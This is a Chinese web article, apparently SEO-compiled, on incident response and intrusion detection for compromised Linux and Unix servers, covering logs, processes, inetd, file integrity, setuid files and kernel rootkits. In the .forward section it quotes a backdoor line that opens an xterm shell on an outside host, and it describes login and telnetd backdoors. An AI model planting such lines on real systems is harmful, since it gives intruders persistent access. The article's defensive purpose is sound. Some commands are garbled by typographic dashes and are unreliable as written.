linux 被入侵了(linux系统的电脑)
大家好,关于linux 被入侵了很多朋友都还不太明白,不过没关系,因为今天小编就来为大家分享关于linux系统的电脑的知识点,相信应该可以解决大家的一些困惑和问题,如果碰巧可以解决您的问题,还望关注下本站哦,希望对各位有所帮助!
Linux系统主机服务器被入侵后怎么办
!下面大家还是跟着我们5636网吧联盟的网吧系统栏目一起去看看吧!
我们可以试试这样来做:
1.第一时间拨掉网线,这可以说是最安全的断开链接的方法,除了保护自己外,也可能保护同网段的其他主机!
(1)分析登录文件的话:我们可以通过分析一些主要的登录文件找到对方的IP以及可能出现的漏洞.一般分析的文件为:/var/log/messages和/var/log/secure文件.还可以使用last命令找出最后一个登录者的信息
(2)检查主机开放的服务:每个服务都有漏洞或不该启动的增强型或测试型功能.找出系统上的服务,逐个检查服务是否有漏洞或设置上的失误.
(3)重要数据备份,就是非Linux上的原有数据.如/etc/passwd,/etc/shadow,WWW网页的数据,/home里的用户文件,至于/etc/*,/usr/,/var等目录下的数据就不要备份了.
(4)系统重装,这个重要的是选择合适的包,不要将所有的包都安装.
(5)包漏洞修补,安装后,要立即更新系统包,更新后再设置防火墙机制,同时关闭一些不必要的服务,最后才插上网线
(6)关闭或卸载不需要的服务,一般启动的服务越少,系统入侵的可能性就越低
(7)数据恢复与恢复服务设置,备份的数据要复制回系统,然后将提供的服务再次开放(8)最后将主机开放到网络上
Linux主机服务器被入侵后需要采取什么措施
在Linux主机服务器遭遇入侵后,正确的应对措施至关重要,以确保安全并防止类似事件再次发生。以下是一系列经过详细规划的步骤,旨在帮助您妥善应对入侵情况:
首先,拔掉网线是断开与网络的物理连接,从而保护自己和同网段的其他主机免受进一步的威胁。接着,进行深入的分析以确定入侵途径。通过检查登录文件信息,如/var/log/messages和/var/log/secure,可以追踪入侵者的IP地址,从而识别可能的漏洞。利用last命令也能帮助您了解最后登录的用户信息。
其次,检查主机上开放的服务,包括可能存在的漏洞或不适当的配置。识别并关闭不必要的服务是减少入侵风险的关键步骤。这不仅包括禁用已知有漏洞的服务,还要确保所有服务均按照最佳实践进行配置。
重要数据的备份是另一个关键步骤。将非Linux系统上的关键数据(如/etc/passwd,/etc/shadow和/home目录下的用户文件)备份到安全位置,确保在重装系统或修复漏洞时,这些数据能够得到恢复。
系统重装是恢复过程中的一种选择,但应谨慎行事,只安装必要的包,并确保更新系统包和安装防火墙,同时禁用不必要的服务。
关闭不需要的服务能有效降低系统被入侵的风险。启动服务越少,系统越安全。在数据恢复后,应重新开启必要的服务,确保系统功能正常。
最后,将主机重新连接至网络。在这一过程中,确保已采取所有必要的安全措施,并定期进行安全检查,以预防未来的入侵事件。
通过上述步骤,您不仅能有效应对Linux主机服务器的入侵情况,还能在预防措施和系统安全方面取得显著进步。重要的是,不断学习和适应新的安全威胁,持续优化您的网络安全策略。
Linux如何判断自己的服务器是否被入侵
1、检查系统密码文件
首先从明显的入手,查看一下passwd文件,ls–l/etc/passwd查看文件修改的日期。
检查一下passwd文件中有哪些特权用户,系统中uid为0的用户都会被显示出来。
1
awk–F:’$3==0{print$1}’/etc/passwd
顺便再检查一下系统里有没有空口令帐户:
1
awk–F:‘length($2)==0{print$1}’/etc/shadow
2、查看一下进程,看看有没有奇怪的进程
重点查看进程:ps–aef| grep inetd
inetd是UNIX系统的守护进程,正常的inetd的pid都比较靠前,如果你看到输出了一个类似inetd–s/tmp/.xxx之类的进程,着重看inetd–s后面的内容。在正常情况下,LINUX系统中的inetd服务后面是没有-s参数的,当然也没有用inetd去启动某个文件;而solaris系统中也仅仅是inetd–s,同样没有用inetd去启动某个特定的文件;如果你使用ps命令看到inetd启动了某个文件,而你自己又没有用inetd启动这个文件,那就说明已经有人入侵了你的系统,并且以root权限起了一个简单的后门。
输入ps–aef查看输出信息,尤其注意有没有以./xxx开头的进程。一旦发现异样的进程,经检查为入侵者留下的后门程序,立即运行kill–9 pid开杀死该进程,然后再运行ps–aef查看该进程是否被杀死;一旦此类进程出现杀死以后又重新启动的现象,则证明系统被人放置了自动启动程序的脚本。这个时候要进行仔细查找:find/-name程序名–print,假设系统真的被入侵者放置了后门,根据找到的程序所在的目录,会找到很多有趣的东东J
UNIX下隐藏进程有的时候通过替换ps文件来做,检测这种方法涉及到检查文件完整性,稍后我们再讨论这种方法。
接下来根据找到入侵者在服务器上的文件目录,一步一步进行追踪。
3、检查系统守护进程
检查/etc/inetd.conf文件,输入:cat/etc/inetd.conf| grep–v“^#”,输出的信息就是你这台机器所开启的远程服务。
一般入侵者可以通过直接替换in.xxx程序来创建一个后门,比如用/bin/sh替换掉in.telnetd,然后重新启动inetd服务,那么telnet到服务器上的所有用户将不用输入用户名和密码而直接获得一个rootshell。
4、检查网络连接和监听端口
输入netstat-an,列出本机所有的连接和监听的端口,查看有没有非法连接。
输入netstat–rn,查看本机的路由、网关设置是否正确。
输入 ifconfig–a,查看网卡设置。
5、检查系统日志
命令last| more查看在正常情况下登录到本机的所有用户的历史记录。但last命令依赖于syslog进程,这已经成为入侵者攻击的重要目标。入侵者通常会停止系统的syslog,查看系统syslog进程的情况,判断syslog上次启动的时间是否正常,因为syslog是以root身份执行的,如果发现syslog被非法动过,那说明有重大的入侵事件。
在linux下输入ls–al/var/log
在solaris下输入 ls–al/var/adm
检查wtmp utmp,包括messgae等文件的完整性和修改时间是否正常,这也是手工擦除入侵痕迹的一种方法。
6、检查系统中的core文件
通过发送畸形请求来攻击服务器的某一服务来入侵系统是一种常规的入侵方法,典型的RPC攻击就是通过这种方式。这种方式有一定的成功率,也就是说它并不能100%保证成功入侵系统,而且通常会在服务器相应目录下产生core文件,全局查找系统中的core文件,输入find/-name core–exec ls–l{} \;依据core所在的目录、查询core文件来判断是否有入侵行为。
7、.rhosts和.forward
这是两种比较著名的后门文件,如果想检查你的系统是否被入侵者安装了后门,不妨全局查找这两个文件:
find/-name“.rhosts”–print
find/-name“.forward”–print
在某用户的$HOME下,.rhosts文件中仅包含两个+号是非常危险的,如果你的系统上开了513端口(rlogin端口,和telnet作用相同),那么任意是谁都可以用这个用户登录到你的系统上而不需要任何验证。
看到这里如果想要深入的做安全加固服务以及安全部署
就必须找专业做服务器的安全公司来处理了国内也就Sine安全和绿盟比较专业提供。
Unix下在.forward文件里放入命令是重新获得访问的常用方法在某一用户$HOME下的.forward可能设置如下:
\username|"/usr/local/X11/bin/xterm-disp hacksys.other.dom:0.0–e/bin/sh"
这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases).注意这只是一种简单的变换.更为高级的能够从.forward中运行简单脚本实现在标准输入执行任意命令(小部分预处理后).利用smrsh可以有效的制止这种后门(虽然如果允许可以自运行的elm's filter或procmail类程序,很有可能还有问题。在Solaris系统下,如果你运行如下命令:
ln-s/var/mail/luser~/.forward
然后设置vacation有效,那么/var/mail/luser就会被拷贝到~/.forward,同时会附加"|/usr/bin/vacation me",旧的symlink被移到~/.forward..BACKUP中。
直接删除掉这两个文件也可以。
8、检查系统文件完整性
检查文件的完整性有多种方法,通常我们通过输入ls–l文件名来查询和比较文件,这种方法虽然简单,但还是有一定的实用性。但是如果ls文件都已经被替换了就比较麻烦。在LINUX下可以用rpm–V `rpm–qf文件名`来查询,国家查询的结果是否正常来判断文件是否完整。在LINUX下使用rpm来检查文件的完整性的方法也很多,这里不一一赘述,可以man rpm来获得更多的格式。
UNIX系统中,/bin/login是被入侵者经常替换作为后门的文件,接下来谈一下login后门:
UNIX里,Login程序通常用来对telnet来的用户进行口令验证。入侵者获取login的源代码并修改,使它在比较输入口令与存储口令时先检查后门口令。如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入:这将允许入侵者进入任何账号,甚至是root目录。由于后门口令是在用户真实登录并被日志记录到utmp和wtmP前产生的一个访问,所以入侵者可以登录获取shell却不会暴露该账号。管理员注意到这种后门后,使用”strings”命令搜索login程序以寻找文本信息。许多情况下后门口令会原形毕露。入侵者又会开始加密或者更改隐藏口令,使strings命令失效。所以许多管理员利用MD5校验和检测这种后门。UNIX系统中有md5sum命令,输入md5sum文件名检查该文件的md5签名。它的使用格式如下:md5sum–b使用二进制方式阅读文件;md5sum–c逆向检查MD5签名;md5sum–t使用文本方式阅读文件。
在前面提到过守护进程,对于守护进程配置文件inetd.conf中没有被注释掉的行要进行仔细比较,举个简单的例子,如果你开放了telnet服务,守护进程配置文件中就会有一句:telnet stream tcp nowait root/usr/sbin/in.telnetd in.telnetd
可以看到它所使用的文件是/usr/sbin/in.telnetd,检查该文件的完整性,入侵者往往通过替换守护进程中允许的服务文件来为自己创建一个后门。
LINUX系统中的/etc/crontab也是经常被入侵者利用的一个文件,检查该文件的完整性,可以直接cat/etc/crontab,仔细阅读该文件有没有被入侵者利用来做其他的事情。
不替换login等文件而直接使用进程来启动后门的方法有一个缺陷,即系统一旦重新启动,这个进程就被杀死了,所以得让这个后门在系统启动的时候也启动起来。通常通过检查/etc/rc.d下的文件来查看系统启动的时候是不是带有后门程序;这个方法怎么有点象查windows下的trojan?
说到这里,另外提一下,如果在某一目录下发现有属性为这样的文件:-rwsr-xr-x 1 root root xxx.sh,这个表明任何用户进来以后运行这个文件都可以获得一个rootshell,这就是setuid文件。运行 find–perm 4000–print对此类文件进行全局查找,然后删除这样的文件。
9、检查内核级后门
如果你的系统被人安装了这种后门,通常都是比较讨厌的,我常常就在想,遇到这种情况还是重新安装系统算了J,言归正传,首先,检查系统加载的模块,在LINUX系统下使用lsmod命令,在solaris系统下使用modinfo命令来查看。这里需要说明的是,一般默认安装的LINUX加载的模块都比较少,通常就是网卡的驱动;而solaris下就很多,没别的办法,只有一条一条地去分析。对内核进行加固后,应禁止插入或删除模块,从而保护系统的安全,否则入侵者将有可能再次对系统调用进行替换。我们可以通过替换create_module()和delete_module()来达到上述目的。另外,对这个内核进行加固模块时应尽早进行,以防系统调用已经被入侵者替换。如果系统被加载了后门模块,但是在模块列表/proc/module里又看不到它们,有可能是使用了hack工具来移除加载的模块,大名鼎鼎的knark工具包就有移除加载模块的工具。出现这种情况,需要仔细查找/proc目录,根据查找到的文件和经验来判断被隐藏和伪装的进程。Knark后门模块就在/proc/knark目录,当然可能这个目录是隐藏的。